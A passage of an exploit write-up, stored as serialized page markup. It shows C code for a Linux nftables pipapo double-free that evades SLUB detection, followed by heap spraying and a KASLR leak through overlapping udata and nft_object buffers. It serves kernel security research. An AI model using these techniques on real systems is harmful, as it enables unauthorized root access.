",{"type":23,"tag":38,"props":52665,"children":52667},{"className":52666},[],[52668],{"type":29,"value":52669},"nft_object + udata",{"type":29,"value":52671}," technique shared by lonial con in a ",{"type":23,"tag":55,"props":52673,"children":52676},{"href":52674,"rel":52675},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[59],[52677],{"type":29,"value":52678},"previous kernelCTF exploit",{"type":29,"value":322},{"type":23,"tag":8287,"props":52681,"children":52683},{"id":52682},"trigger-uafavoid-double-free-detection",[52684],{"type":29,"value":52685},"Trigger UAF/avoid double-free detection",{"type":23,"tag":32,"props":52687,"children":52688},{},[52689,52691,52697,52699,52705],{"type":29,"value":52690},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":38,"props":52692,"children":52694},{"className":52693},[],[52695],{"type":29,"value":52696},"nft_set_pipapo_match_destroy",{"type":29,"value":52698}," iterates over the ",{"type":23,"tag":38,"props":52700,"children":52702},{"className":52701},[],[52703],{"type":29,"value":52704},"setelems",{"type":29,"value":52706}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":116,"props":52708,"children":52709},{},[52710,52715,52720,52725],{"type":23,"tag":120,"props":52711,"children":52712},{},[52713],{"type":29,"value":52714},"Element A gets freed",{"type":23,"tag":120,"props":52716,"children":52717},{},[52718],{"type":29,"value":52719},"Element B gets free",{"type":23,"tag":120,"props":52721,"children":52722},{},[52723],{"type":29,"value":52724},"Element A gets freed again (double-free)",{"type":23,"tag":120,"props":52726,"children":52727},{},[52728],{"type":29,"value":52729},"Element B gets freed again (double-free)",{"type":23,"tag":131,"props":52731,"children":52733},{"className":133,"code":52732,"language":135,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[52734],{"type":23,"tag":38,"props":52735,"children":52736},{"__ignoreMap":7},[52737,52744,52805,52812,52819,52827,52834,52841,52849,52873,52894,52928,52989,52996,53004,53056,53063,53089,53116,53155,53184,53213,53235,53242,53249,53256,53264,53271,53279,53292,53305,53325,53332,53340,53362,53394,53439,53475,53503,53510,53517,53525,53532,53548,53555],{"type":23,"tag":141,"props":52738,"children":52739},{"class":143,"line":144},[52740],{"type":23,"tag":141,"props":52741,"children":52742},{"style":154},[52743],{"type":29,"value":8998},{"type":23,"tag":141,"props":52745,"children":52746},{"class":143,"line":180},[52747,52752,52756,52761,52765,52770,52774,52779,52784,52788,52792,52796,52801],{"type":23,"tag":141,"props":52748,"children":52749},{"style":154},[52750],{"type":29,"value":52751},"static void trigger_uaf(",{"type":23,"tag":141,"props":52753,"children":52754},{"style":449},[52755],{"type":29,"value":8079},{"type":23,"tag":141,"props":52757,"children":52758},{"style":725},[52759],{"type":29,"value":52760}," mnl_socket",{"type":23,"tag":141,"props":52762,"children":52763},{"style":449},[52764],{"type":29,"value":8496},{"type":23,"tag":141,"props":52766,"children":52767},{"style":750},[52768],{"type":29,"value":52769},"nl",{"type":23,"tag":141,"props":52771,"children":52772},{"style":154},[52773],{"type":29,"value":480},{"type":23,"tag":141,"props":52775,"children":52776},{"style":449},[52777],{"type":29,"value":52778},"size_t",{"type":23,"tag":141,"props":52780,"children":52781},{"style":750},[52782],{"type":29,"value":52783}," size",{"type":23,"tag":141,"props":52785,"children":52786},{"style":154},[52787],{"type":29,"value":480},{"type":23,"tag":141,"props":52789,"children":52790},{"style":449},[52791],{"type":29,"value":17718},{"type":23,"tag":141,"props":52793,"children":52794},{"style":449},[52795],{"type":29,"value":8496},{"type":23,"tag":141,"props":52797,"children":52798},{"style":750},[52799],{"type":29,"value":52800},"msgqids",{"type":23,"tag":141,"props":52802,"children":52803},{"style":154},[52804],{"type":29,"value":758},{"type":23,"tag":141,"props":52806,"children":52807},{"class":143,"line":205},[52808],{"type":23,"tag":141,"props":52809,"children":52810},{"style":154},[52811],{"type":29,"value":766},{"type":23,"tag":141,"props":52813,"children":52814},{"class":143,"line":218},[52815],{"type":23,"tag":141,"props":52816,"children":52817},{"style":154},[52818],{"type":29,"value":8998},{"type":23,"tag":141,"props":52820,"children":52821},{"class":143,"line":227},[52822],{"type":23,"tag":141,"props":52823,"children":52824},{"style":154},[52825],{"type":29,"value":52826}," // TRANSACTION 2\n",{"type":23,"tag":141,"props":52828,"children":52829},{"class":143,"line":241},[52830],{"type":23,"tag":141,"props":52831,"children":52832},{"style":154},[52833],{"type":29,"value":8998},{"type":23,"tag":141,"props":52835,"children":52836},{"class":143,"line":262},[52837],{"type":23,"tag":141,"props":52838,"children":52839},{"emptyLinePlaceholder":15},[52840],{"type":29,"value":719},{"type":23,"tag":141,"props":52842,"children":52843},{"class":143,"line":271},[52844],{"type":23,"tag":141,"props":52845,"children":52846},{"style":154},[52847],{"type":29,"value":52848}," // create pipapo set\n",{"type":23,"tag":141,"props":52850,"children":52851},{"class":143,"line":293},[52852,52857,52861,52865,52869],{"type":23,"tag":141,"props":52853,"children":52854},{"style":154},[52855],{"type":29,"value":52856}," uint8_t desc[2] = {",{"type":23,"tag":141,"props":52858,"children":52859},{"style":472},[52860],{"type":29,"value":39319},{"type":23,"tag":141,"props":52862,"children":52863},{"style":154},[52864],{"type":29,"value":480},{"type":23,"tag":141,"props":52866,"children":52867},{"style":472},[52868],{"type":29,"value":39319},{"type":23,"tag":141,"props":52870,"children":52871},{"style":154},[52872],{"type":29,"value":1357},{"type":23,"tag":141,"props":52874,"children":52875},{"class":143,"line":801},[52876,52881,52885,52890],{"type":23,"tag":141,"props":52877,"children":52878},{"style":154},[52879],{"type":29,"value":52880}," set ",{"type":23,"tag":141,"props":52882,"children":52883},{"style":160},[52884],{"type":29,"value":1377},{"type":23,"tag":141,"props":52886,"children":52887},{"style":184},[52888],{"type":29,"value":52889}," create_set",{"type":23,"tag":141,"props":52891,"children":52892},{"style":154},[52893],{"type":29,"value":2123},{"type":23,"tag":141,"props":52895,"children":52896},{"class":143,"line":810},[52897,52902,52906,52911,52916,52920,52924],{"type":23,"tag":141,"props":52898,"children":52899},{"style":154},[52900],{"type":29,"value":52901}," batch, seq",{"type":23,"tag":141,"props":52903,"children":52904},{"style":160},[52905],{"type":29,"value":49748},{"type":23,"tag":141,"props":52907,"children":52908},{"style":154},[52909],{"type":29,"value":52910},", exploit_table_name, ",{"type":23,"tag":141,"props":52912,"children":52913},{"style":828},[52914],{"type":29,"value":52915},"\"pwn_set\"",{"type":23,"tag":141,"props":52917,"children":52918},{"style":154},[52919],{"type":29,"value":480},{"type":23,"tag":141,"props":52921,"children":52922},{"style":472},[52923],{"type":29,"value":41976},{"type":23,"tag":141,"props":52925,"children":52926},{"style":154},[52927],{"type":29,"value":2168},{"type":23,"tag":141,"props":52929,"children":52930},{"class":143,"line":824},[52931,52936,52940,52945,52949,52954,52958,52962,52966,52971,52976,52980,52984],{"type":23,"tag":141,"props":52932,"children":52933},{"style":154},[52934],{"type":29,"value":52935}," NFT_SET_INTERVAL ",{"type":23,"tag":141,"props":52937,"children":52938},{"style":160},[52939],{"type":29,"value":9096},{"type":23,"tag":141,"props":52941,"children":52942},{"style":154},[52943],{"type":29,"value":52944}," NFT_SET_OBJECT ",{"type":23,"tag":141,"props":52946,"children":52947},{"style":160},[52948],{"type":29,"value":9096},{"type":23,"tag":141,"props":52950,"children":52951},{"style":154},[52952],{"type":29,"value":52953}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":141,"props":52955,"children":52956},{"style":472},[52957],{"type":29,"value":1049},{"type":23,"tag":141,"props":52959,"children":52960},{"style":154},[52961],{"type":29,"value":480},{"type":23,"tag":141,"props":52963,"children":52964},{"style":160},[52965],{"type":29,"value":1770},{"type":23,"tag":141,"props":52967,"children":52968},{"style":154},[52969],{"type":29,"value":52970},"desc, ",{"type":23,"tag":141,"props":52972,"children":52973},{"style":449},[52974],{"type":29,"value":52975},"NULL",{"type":23,"tag":141,"props":52977,"children":52978},{"style":154},[52979],{"type":29,"value":480},{"type":23,"tag":141,"props":52981,"children":52982},{"style":472},[52983],{"type":29,"value":2698},{"type":23,"tag":141,"props":52985,"children":52986},{"style":154},[52987],{"type":29,"value":52988},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":141,"props":52990,"children":52991},{"class":143,"line":839},[52992],{"type":23,"tag":141,"props":52993,"children":52994},{"emptyLinePlaceholder":15},[52995],{"type":29,"value":719},{"type":23,"tag":141,"props":52997,"children":52998},{"class":143,"line":848},[52999],{"type":23,"tag":141,"props":53000,"children":53001},{"style":443},[53002],{"type":29,"value":53003}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":141,"props":53005,"children":53006},{"class":143,"line":2304},[53007,53011,53015,53019,53024,53028,53032,53036,53040,53044,53048,53052],{"type":23,"tag":141,"props":53008,"children":53009},{"style":148},[53010],{"type":29,"value":1692},{"type":23,"tag":141,"props":53012,"children":53013},{"style":154},[53014],{"type":29,"value":1220},{"type":23,"tag":141,"props":53016,"children":53017},{"style":449},[53018],{"type":29,"value":17718},{"type":23,"tag":141,"props":53020,"children":53021},{"style":154},[53022],{"type":29,"value":53023}," i ",{"type":23,"tag":141,"props":53025,"children":53026},{"style":160},[53027],{"type":29,"value":1377},{"type":23,"tag":141,"props":53029,"children":53030},{"style":472},[53031],{"type":29,"value":1707},{"type":23,"tag":141,"props":53033,"children":53034},{"style":154},[53035],{"type":29,"value":49712},{"type":23,"tag":141,"props":53037,"children":53038},{"style":160},[53039],{"type":29,"value":4480},{"type":23,"tag":141,"props":53041,"children":53042},{"style":472},[53043],{"type":29,"value":6609},{"type":23,"tag":141,"props":53045,"children":53046},{"style":154},[53047],{"type":29,"value":49743},{"type":23,"tag":141,"props":53049,"children":53050},{"style":160},[53051],{"type":29,"value":49748},{"type":23,"tag":141,"props":53053,"children":53054},{"style":154},[53055],{"type":29,"value":758},{"type":23,"tag":141,"props":53057,"children":53058},{"class":143,"line":2313},[53059],{"type":23,"tag":141,"props":53060,"children":53061},{"style":154},[53062],{"type":29,"value":224},{"type":23,"tag":141,"props":53064,"children":53065},{"class":143,"line":2335},[53066,53071,53076,53080,53085],{"type":23,"tag":141,"props":53067,"children":53068},{"style":750},[53069],{"type":29,"value":53070}," elem",{"type":23,"tag":141,"props":53072,"children":53073},{"style":154},[53074],{"type":29,"value":53075},"[i] ",{"type":23,"tag":141,"props":53077,"children":53078},{"style":160},[53079],{"type":29,"value":1377},{"type":23,"tag":141,"props":53081,"children":53082},{"style":184},[53083],{"type":29,"value":53084}," nftnl_set_elem_alloc",{"type":23,"tag":141,"props":53086,"children":53087},{"style":154},[53088],{"type":29,"value":1305},{"type":23,"tag":141,"props":53090,"children":53091},{"class":143,"line":2343},[53092,53097,53102,53107,53111],{"type":23,"tag":141,"props":53093,"children":53094},{"style":184},[53095],{"type":29,"value":53096}," memset",{"type":23,"tag":141,"props":53098,"children":53099},{"style":154},[53100],{"type":29,"value":53101},"(key, ",{"type":23,"tag":141,"props":53103,"children":53104},{"style":472},[53105],{"type":29,"value":53106},"0x41",{"type":23,"tag":141,"props":53108,"children":53109},{"style":160},[53110],{"type":29,"value":7581},{"type":23,"tag":141,"props":53112,"children":53113},{"style":154},[53114],{"type":29,"value":53115}," i, KEY_LEN);\n",{"type":23,"tag":141,"props":53117,"children":53118},{"class":143,"line":2352},[53119,53124,53128,53132,53137,53142,53146,53151],{"type":23,"tag":141,"props":53120,"children":53121},{"style":184},[53122],{"type":29,"value":53123}," nftnl_set_elem_set",{"type":23,"tag":141,"props":53125,"children":53126},{"style":154},[53127],{"type":29,"value":192},{"type":23,"tag":141,"props":53129,"children":53130},{"style":750},[53131],{"type":29,"value":50543},{"type":23,"tag":141,"props":53133,"children":53134},{"style":154},[53135],{"type":29,"value":53136},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":141,"props":53138,"children":53139},{"style":828},[53140],{"type":29,"value":53141},"\"pwnobj\"",{"type":23,"tag":141,"props":53143,"children":53144},{"style":154},[53145],{"type":29,"value":480},{"type":23,"tag":141,"props":53147,"children":53148},{"style":472},[53149],{"type":29,"value":53150},"7",{"type":23,"tag":141,"props":53152,"children":53153},{"style":154},[53154],{"type":29,"value":2496},{"type":23,"tag":141,"props":53156,"children":53157},{"class":143,"line":2421},[53158,53162,53166,53170,53175,53179],{"type":23,"tag":141,"props":53159,"children":53160},{"style":184},[53161],{"type":29,"value":53123},{"type":23,"tag":141,"props":53163,"children":53164},{"style":154},[53165],{"type":29,"value":192},{"type":23,"tag":141,"props":53167,"children":53168},{"style":750},[53169],{"type":29,"value":50543},{"type":23,"tag":141,"props":53171,"children":53172},{"style":154},[53173],{"type":29,"value":53174},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":141,"props":53176,"children":53177},{"style":160},[53178],{"type":29,"value":1770},{"type":23,"tag":141,"props":53180,"children":53181},{"style":154},[53182],{"type":29,"value":53183},"key, KEY_LEN);\n",{"type":23,"tag":141,"props":53185,"children":53186},{"class":143,"line":2429},[53187,53191,53195,53199,53204,53208],{"type":23,"tag":141,"props":53188,"children":53189},{"style":184},[53190],{"type":29,"value":53123},{"type":23,"tag":141,"props":53192,"children":53193},{"style":154},[53194],{"type":29,"value":192},{"type":23,"tag":141,"props":53196,"children":53197},{"style":750},[53198],{"type":29,"value":50543},{"type":23,"tag":141,"props":53200,"children":53201},{"style":154},[53202],{"type":29,"value":53203},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":141,"props":53205,"children":53206},{"style":160},[53207],{"type":29,"value":1770},{"type":23,"tag":141,"props":53209,"children":53210},{"style":154},[53211],{"type":29,"value":53212},"udata_buf, size);\n",{"type":23,"tag":141,"props":53214,"children":53215},{"class":143,"line":2459},[53216,53221,53226,53230],{"type":23,"tag":141,"props":53217,"children":53218},{"style":184},[53219],{"type":29,"value":53220}," nftnl_set_elem_add",{"type":23,"tag":141,"props":53222,"children":53223},{"style":154},[53224],{"type":29,"value":53225},"(set, ",{"type":23,"tag":141,"props":53227,"children":53228},{"style":750},[53229],{"type":29,"value":50543},{"type":23,"tag":141,"props":53231,"children":53232},{"style":154},[53233],{"type":29,"value":53234},"[i]);\n",{"type":23,"tag":141,"props":53236,"children":53237},{"class":143,"line":2467},[53238],{"type":23,"tag":141,"props":53239,"children":53240},{"style":154},[53241],{"type":29,"value":299},{"type":23,"tag":141,"props":53243,"children":53244},{"class":143,"line":2499},[53245],{"type":23,"tag":141,"props":53246,"children":53247},{"style":154},[53248],{"type":29,"value":8998},{"type":23,"tag":141,"props":53250,"children":53251},{"class":143,"line":2507},[53252],{"type":23,"tag":141,"props":53253,"children":53254},{"emptyLinePlaceholder":15},[53255],{"type":29,"value":719},{"type":23,"tag":141,"props":53257,"children":53258},{"class":143,"line":2567},[53259],{"type":23,"tag":141,"props":53260,"children":53261},{"style":154},[53262],{"type":29,"value":53263}," // TRANSACTION 3\n",{"type":23,"tag":141,"props":53265,"children":53266},{"class":143,"line":7724},[53267],{"type":23,"tag":141,"props":53268,"children":53269},{"style":154},[53270],{"type":29,"value":8998},{"type":23,"tag":141,"props":53272,"children":53273},{"class":143,"line":7742},[53274],{"type":23,"tag":141,"props":53275,"children":53276},{"style":154},[53277],{"type":29,"value":53278}," set = nftnl_set_alloc();\n",{"type":23,"tag":141,"props":53280,"children":53281},{"class":143,"line":7787},[53282,53287],{"type":23,"tag":141,"props":53283,"children":53284},{"style":184},[53285],{"type":29,"value":53286}," nftnl_set_set_u32",{"type":23,"tag":141,"props":53288,"children":53289},{"style":154},[53290],{"type":29,"value":53291},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":141,"props":53293,"children":53294},{"class":143,"line":7893},[53295,53300],{"type":23,"tag":141,"props":53296,"children":53297},{"style":184},[53298],{"type":29,"value":53299}," nftnl_set_set_str",{"type":23,"tag":141,"props":53301,"children":53302},{"style":154},[53303],{"type":29,"value":53304},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":141,"props":53306,"children":53307},{"class":143,"line":22181},[53308,53312,53317,53321],{"type":23,"tag":141,"props":53309,"children":53310},{"style":184},[53311],{"type":29,"value":53299},{"type":23,"tag":141,"props":53313,"children":53314},{"style":154},[53315],{"type":29,"value":53316},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":141,"props":53318,"children":53319},{"style":828},[53320],{"type":29,"value":52915},{"type":23,"tag":141,"props":53322,"children":53323},{"style":154},[53324],{"type":29,"value":2496},{"type":23,"tag":141,"props":53326,"children":53327},{"class":143,"line":22216},[53328],{"type":23,"tag":141,"props":53329,"children":53330},{"emptyLinePlaceholder":15},[53331],{"type":29,"value":719},{"type":23,"tag":141,"props":53333,"children":53334},{"class":143,"line":22224},[53335],{"type":23,"tag":141,"props":53336,"children":53337},{"style":443},[53338],{"type":29,"value":53339}," // make priv->dirty true\n",{"type":23,"tag":141,"props":53341,"children":53342},{"class":143,"line":22232},[53343,53348,53352,53357],{"type":23,"tag":141,"props":53344,"children":53345},{"style":184},[53346],{"type":29,"value":53347}," memset",{"type":23,"tag":141,"props":53349,"children":53350},{"style":154},[53351],{"type":29,"value":53101},{"type":23,"tag":141,"props":53353,"children":53354},{"style":472},[53355],{"type":29,"value":53356},"0xff",{"type":23,"tag":141,"props":53358,"children":53359},{"style":154},[53360],{"type":29,"value":53361},", KEY_LEN);\n",{"type":23,"tag":141,"props":53363,"children":53364},{"class":143,"line":22241},[53365,53370,53374,53378,53382,53386,53390],{"type":23,"tag":141,"props":53366,"children":53367},{"style":750},[53368],{"type":29,"value":53369}," elem",{"type":23,"tag":141,"props":53371,"children":53372},{"style":154},[53373],{"type":29,"value":2399},{"type":23,"tag":141,"props":53375,"children":53376},{"style":472},[53377],{"type":29,"value":15972},{"type":23,"tag":141,"props":53379,"children":53380},{"style":154},[53381],{"type":29,"value":7337},{"type":23,"tag":141,"props":53383,"children":53384},{"style":160},[53385],{"type":29,"value":1377},{"type":23,"tag":141,"props":53387,"children":53388},{"style":184},[53389],{"type":29,"value":53084},{"type":23,"tag":141,"props":53391,"children":53392},{"style":154},[53393],{"type":29,"value":1305},{"type":23,"tag":141,"props":53395,"children":53396},{"class":143,"line":22283},[53397,53402,53406,53410,53414,53418,53423,53427,53431,53435],{"type":23,"tag":141,"props":53398,"children":53399},{"style":184},[53400],{"type":29,"value":53401}," nftnl_set_elem_set",{"type":23,"tag":141,"props":53403,"children":53404},{"style":154},[53405],{"type":29,"value":192},{"type":23,"tag":141,"props":53407,"children":53408},{"style":750},[53409],{"type":29,"value":50543},{"type":23,"tag":141,"props":53411,"children":53412},{"style":154},[53413],{"type":29,"value":2399},{"type":23,"tag":141,"props":53415,"children":53416},{"style":472},[53417],{"type":29,"value":15972},{"type":23,"tag":141,"props":53419,"children":53420},{"style":154},[53421],{"type":29,"value":53422},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":141,"props":53424,"children":53425},{"style":828},[53426],{"type":29,"value":53141},{"type":23,"tag":141,"props":53428,"children":53429},{"style":154},[53430],{"type":29,"value":480},{"type":23,"tag":141,"props":53432,"children":53433},{"style":472},[53434],{"type":29,"value":53150},{"type":23,"tag":141,"props":53436,"children":53437},{"style":154},[53438],{"type":29,"value":2496},{"type":23,"tag":141,"props":53440,"children":53441},{"class":143,"line":22316},[53442,53446,53450,53454,53458,53462,53467,53471],{"type":23,"tag":141,"props":53443,"children":53444},{"style":184},[53445],{"type":29,"value":53401},{"type":23,"tag":141,"props":53447,"children":53448},{"style":154},[53449],{"type":29,"value":192},{"type":23,"tag":141,"props":53451,"children":53452},{"style":750},[53453],{"type":29,"value":50543},{"type":23,"tag":141,"props":53455,"children":53456},{"style":154},[53457],{"type":29,"value":2399},{"type":23,"tag":141,"props":53459,"children":53460},{"style":472},[53461],{"type":29,"value":15972},{"type":23,"tag":141,"props":53463,"children":53464},{"style":154},[53465],{"type":29,"value":53466},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":141,"props":53468,"children":53469},{"style":160},[53470],{"type":29,"value":1770},{"type":23,"tag":141,"props":53472,"children":53473},{"style":154},[53474],{"type":29,"value":53183},{"type":23,"tag":141,"props":53476,"children":53477},{"class":143,"line":22324},[53478,53483,53487,53491,53495,53499],{"type":23,"tag":141,"props":53479,"children":53480},{"style":184},[53481],{"type":29,"value":53482}," nftnl_set_elem_add",{"type":23,"tag":141,"props":53484,"children":53485},{"style":154},[53486],{"type":29,"value":53225},{"type":23,"tag":141,"props":53488,"children":53489},{"style":750},[53490],{"type":29,"value":50543},{"type":23,"tag":141,"props":53492,"children":53493},{"style":154},[53494],{"type":29,"value":2399},{"type":23,"tag":141,"props":53496,"children":53497},{"style":472},[53498],{"type":29,"value":15972},{"type":23,"tag":141,"props":53500,"children":53501},{"style":154},[53502],{"type":29,"value":2418},{"type":23,"tag":141,"props":53504,"children":53505},{"class":143,"line":22332},[53506],{"type":23,"tag":141,"props":53507,"children":53508},{"style":154},[53509],{"type":29,"value":8998},{"type":23,"tag":141,"props":53511,"children":53512},{"class":143,"line":22341},[53513],{"type":23,"tag":141,"props":53514,"children":53515},{"emptyLinePlaceholder":15},[53516],{"type":29,"value":719},{"type":23,"tag":141,"props":53518,"children":53519},{"class":143,"line":22417},[53520],{"type":23,"tag":141,"props":53521,"children":53522},{"style":154},[53523],{"type":29,"value":53524}," // double-free commited elems\n",{"type":23,"tag":141,"props":53526,"children":53527},{"class":143,"line":22450},[53528],{"type":23,"tag":141,"props":53529,"children":53530},{"style":154},[53531],{"type":29,"value":8998},{"type":23,"tag":141,"props":53533,"children":53534},{"class":143,"line":22458},[53535,53540,53544],{"type":23,"tag":141,"props":53536,"children":53537},{"style":154},[53538],{"type":29,"value":53539}," nftnl_set_free(",{"type":23,"tag":141,"props":53541,"children":53542},{"style":725},[53543],{"type":29,"value":49498},{"type":23,"tag":141,"props":53545,"children":53546},{"style":154},[53547],{"type":29,"value":2496},{"type":23,"tag":141,"props":53549,"children":53550},{"class":143,"line":22466},[53551],{"type":23,"tag":141,"props":53552,"children":53553},{"style":154},[53554],{"type":29,"value":2573},{"type":23,"tag":141,"props":53556,"children":53557},{"class":143,"line":22503},[53558],{"type":23,"tag":141,"props":53559,"children":53560},{"style":154},[53561],{"type":29,"value":8998},{"type":23,"tag":8287,"props":53563,"children":53565},{"id":53564},"leaking-kaslr",[53566],{"type":29,"value":53567},"Leaking KASLR",{"type":23,"tag":32,"props":53569,"children":53570},{},[53571,53573,53579,53581,53586,53588,53594,53596,53602,53604],{"type":29,"value":53572},"Tables contain an outline user data buffer ",{"type":23,"tag":38,"props":53574,"children":53576},{"className":53575},[],[53577],{"type":29,"value":53578},"udata",{"type":29,"value":53580}," that we can both read and write. By allocating a ",{"type":23,"tag":38,"props":53582,"children":53584},{"className":53583},[],[53585],{"type":29,"value":53578},{"type":29,"value":53587}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":38,"props":53589,"children":53591},{"className":53590},[],[53592],{"type":29,"value":53593},"nft_object",{"type":29,"value":53595}," we can leak the ",{"type":23,"tag":38,"props":53597,"children":53599},{"className":53598},[],[53600],{"type":29,"value":53601},"->ops",{"type":29,"value":53603}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":2591,"props":53605,"children":53607},{"alt":49057,"src":53606},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":131,"props":53609,"children":53611},{"className":133,"code":53610,"language":135,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[53612],{"type":23,"tag":38,"props":53613,"children":53614},{"__ignoreMap":7},[53615,53622,53630,53665,53672,53680,53705,53732,53783,53790,53823,53849,53856,53921,53928,53949,53956,53963,53971,53979,54000,54029,54041,54085,54141],{"type":23,"tag":141,"props":53616,"children":53617},{"class":143,"line":144},[53618],{"type":23,"tag":141,"props":53619,"children":53620},{"style":154},[53621],{"type":29,"value":8998},{"type":23,"tag":141,"props":53623,"children":53624},{"class":143,"line":180},[53625],{"type":23,"tag":141,"props":53626,"children":53627},{"style":154},[53628],{"type":29,"value":53629}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":141,"props":53631,"children":53632},{"class":143,"line":205},[53633,53638,53642,53647,53652,53657,53661],{"type":23,"tag":141,"props":53634,"children":53635},{"style":154},[53636],{"type":29,"value":53637}," udata_spray(",{"type":23,"tag":141,"props":53639,"children":53640},{"style":725},[53641],{"type":29,"value":52769},{"type":23,"tag":141,"props":53643,"children":53644},{"style":154},[53645],{"type":29,"value":53646},", 0",{"type":23,"tag":141,"props":53648,"children":53649},{"style":725},[53650],{"type":29,"value":53651},"xe8",{"type":23,"tag":141,"props":53653,"children":53654},{"style":154},[53655],{"type":29,"value":53656},", 0, 3, ",{"type":23,"tag":141,"props":53658,"children":53659},{"style":725},[53660],{"type":29,"value":52975},{"type":23,"tag":141,"props":53662,"children":53663},{"style":154},[53664],{"type":29,"value":2496},{"type":23,"tag":141,"props":53666,"children":53667},{"class":143,"line":218},[53668],{"type":23,"tag":141,"props":53669,"children":53670},{"emptyLinePlaceholder":15},[53671],{"type":29,"value":719},{"type":23,"tag":141,"props":53673,"children":53674},{"class":143,"line":227},[53675],{"type":23,"tag":141,"props":53676,"children":53677},{"style":443},[53678],{"type":29,"value":53679}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":141,"props":53681,"children":53682},{"class":143,"line":241},[53683,53688,53693,53697,53701],{"type":23,"tag":141,"props":53684,"children":53685},{"style":449},[53686],{"type":29,"value":53687}," char",{"type":23,"tag":141,"props":53689,"children":53690},{"style":750},[53691],{"type":29,"value":53692}," spray_name",{"type":23,"tag":141,"props":53694,"children":53695},{"style":154},[53696],{"type":29,"value":2399},{"type":23,"tag":141,"props":53698,"children":53699},{"style":472},[53700],{"type":29,"value":39319},{"type":23,"tag":141,"props":53702,"children":53703},{"style":154},[53704],{"type":29,"value":30042},{"type":23,"tag":141,"props":53706,"children":53707},{"class":143,"line":262},[53708,53712,53716,53720,53724,53728],{"type":23,"tag":141,"props":53709,"children":53710},{"style":449},[53711],{"type":29,"value":53687},{"type":23,"tag":141,"props":53713,"children":53714},{"style":160},[53715],{"type":29,"value":8496},{"type":23,"tag":141,"props":53717,"children":53718},{"style":750},[53719],{"type":29,"value":53578},{"type":23,"tag":141,"props":53721,"children":53722},{"style":154},[53723],{"type":29,"value":2399},{"type":23,"tag":141,"props":53725,"children":53726},{"style":472},[53727],{"type":29,"value":15972},{"type":23,"tag":141,"props":53729,"children":53730},{"style":154},[53731],{"type":29,"value":30042},{"type":23,"tag":141,"props":53733,"children":53734},{"class":143,"line":271},[53735,53739,53743,53747,53751,53755,53759,53763,53767,53771,53775,53779],{"type":23,"tag":141,"props":53736,"children":53737},{"style":148},[53738],{"type":29,"value":1692},{"type":23,"tag":141,"props":53740,"children":53741},{"style":154},[53742],{"type":29,"value":1220},{"type":23,"tag":141,"props":53744,"children":53745},{"style":449},[53746],{"type":29,"value":17718},{"type":23,"tag":141,"props":53748,"children":53749},{"style":154},[53750],{"type":29,"value":53023},{"type":23,"tag":141,"props":53752,"children":53753},{"style":160},[53754],{"type":29,"value":1377},{"type":23,"tag":141,"props":53756,"children":53757},{"style":472},[53758],{"type":29,"value":1707},{"type":23,"tag":141,"props":53760,"children":53761}